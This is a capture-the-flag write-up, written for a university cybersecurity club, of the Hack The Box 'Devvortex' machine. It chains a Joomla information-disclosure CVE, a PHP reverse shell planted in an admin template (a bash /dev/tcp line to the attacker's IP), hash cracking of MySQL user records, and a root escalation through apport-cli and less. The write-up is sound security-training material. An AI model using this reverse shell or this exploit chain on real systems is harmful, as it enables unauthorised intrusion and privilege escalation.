index

Devvortex-Writeup

A write-up of the Hack The Box devvortex machine for the TAMU Cybersecurity Club

Box Info
Name	Devvortex
OS	Linux
Difficulty	Easy

Recon

nmap scan reveals that ports 22 (SSH) and 80 (HTTP) are open. Additionally, the scan shows a redirect to http://devvortex.htb/

I add devvortex.htb to my /etc/hosts file

Site “devvortex.htb” and Enumeration

Visiting http://devvortex.htb, we are met with a site for what looks like some kind of service provider:

First, I look for robots.txt, but this site appears to not have one:

Second, I try to find anywhere on the site with user input, which is found in the “Contact Us” page of the website:

After filling in the fields with some fuzz input, like an apostrophe, it becomes clear that clicking “send” only refreshes the page and doesn’t actually do anything.

With the “Contact Us” page leading nowhere, I begin to search for directories using gobuster, which doesn’t find anything out of the ordinary:

Next, still using gobuster, I search for any vhosts, which finds the domain, dev.devvortex.htb:

I add the domain to my /etc/hosts file:

Site “dev.devvortex.htb”

Visiting http://dev.devvortex.htb, we are met with a site for a web design company:

Clicking around, there doesn’t seem to be any page on the site that accepts user input. I check to see if this site has a robots.txt file, which it does:

There is mention to something called joomla, but what intrigues me the most is the administrator directory. Let’s visit it.

Taking a look at the administrator directory, we are met with a joomla administrator log in page:

Joomla Exploit

Before I lightly fuzz the log in, I first google to see if there are any exploits for joomla, and I find CVE-2023-23752 on exploit-db here.

The exploit appears to be an “improper access check in joomla that allows for unauthorized access to webservice endpoints”, according to NIST. More detail can be found here.

Exploit-db refers to it as an “unauthenticated information disclosure” exploit. Let’s see what information we can get, shall we?

The POC on exploit-db is written in ruby. I create a file, joomla-exploit, paste the code in, and run it. The file requires one argument, which is the URL of the website. The exploit works, and provides me with information about the database used, but more importantly, log in credentials:

I attempt to use these credentials to log in to a lewis user, if one exists, via SSH but no dice:

I then use the credentials on the log in page found earlier, and I’m able to log in:

Joomla Dashboard and Reverse Shell

I click around trying to see if there’s anything that can lead me to the log in credentials of other users, but I find nothing. Eventually, I finally come across something interesting (which took longer than I’d care to admit).

Found in the System tab, under Templates, is Administrator Templates:

Clicking here leads us to the server side code of the administrator part of the site, and we can edit it!:

Bingo. From here, we can code in some php that will establish a reverse shell, which can grant us access to the devvortex server itself. We’ll be editing the code of the index.php page specifically.

On my system, I create a listener on port 69:

Back on the devvortex joomla dashboard, I add the line exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.4/69 0>&1'"); to the php code of index.php, with 10.10.16.4 being my system’s IP:

I save the file, and back on my system, I get a connection and I now have access to the devvortex server:

Shell as www-data

First things first, I check to see if the server has python 3. It does, so I use it to stabilize the shell using the following commands:

1
 python3 -c "import pty;pty.spawn('/bin/bash')"
2

3
 export TERM=xterm
4

5
 CTRL + Z
6

7
 stty raw -echo; fg

From there, I navigate to the home directory and find a user directory, logan. I cd in and find the user flag, but when attempting to read it, I find that I don’t have access

Looks like we’re going to need to log into logan first

Looking around the system, I don’t find anything that can help me get logan’s password. However, we do have the mysql credentials of lewis, which was found when we used the CVE-2023-23752 exploit earlier. Using those credentials, I am able to log into mysql

mysql

I list the available databases, and find the database joomla:

Listing the available tables shows a long long list of tables within the joomla database:

Since we are looking for user credentials, I start with the sd4fg_users table. From there, I’ll go through all the other tables relating to users.

However, when viewing the sd4fg_users table, I find 2 usernames and their corresponding password hashes. One of the users just so happens to be our good friend logan. The other is lewis, whose password we already know. Thankfully, I won’t have to go through all those other tables.

I put the usernames and password hashes into a file, tocrack:

Using a hash identifier tool, I find that the hashes are bcrypt hashes. I then use john the ripper to crack them:

logan’s password is tequieromucho. With that in hand, we are able to log into logan’s account:

Shell as logan and Privilege Escalation

Now that we have access to logan’s account, we can cat the user flag:

That’s the user flag out of the way, now onto the root flag.

Using sudo -l, I check to see if logan has any sudo privileges:

So logan can use sudo on something called apport-cli. I google to see if there are any known privilege escalation exploits for apport-cli. There is one, CVE-2023-1326.

Essentially, if you run apport-cli as sudo to view a report, it’ll execute less, from which you can run !/bin/bash giving you a root shell. Specific details can be found here and here

Before we go any further though, I’m going to ssh into logan since I’m starting to miss my more colorful terminal…

apport-cli Privilege Escalation

I look for any already existing .crash files (The file type of Apport reports) in the /var/crash directory which is where they are usually stored, but there appears to be none:

It seems that I’ll have to make my own crash file or report.

Using man apport-cli, I find that by using the -f flag, I can report a problem and view the report generated

I go through the process of reporting a problem. Some problems result in the program just closing, so it took some trial and error to find one that asks me if I want to view a report. Eventually I do find a problem that does, which was a security related problem (option 3), and the specific issue was “My screen doesn’t lock automatically after being idle” (option 7):

I click V to view the report, which executes less. I enter !/bin/bash and gain root access:

Shell as root

Now that I have root access, I cd into the root directory and cat the root flag:

Devvortex Writeup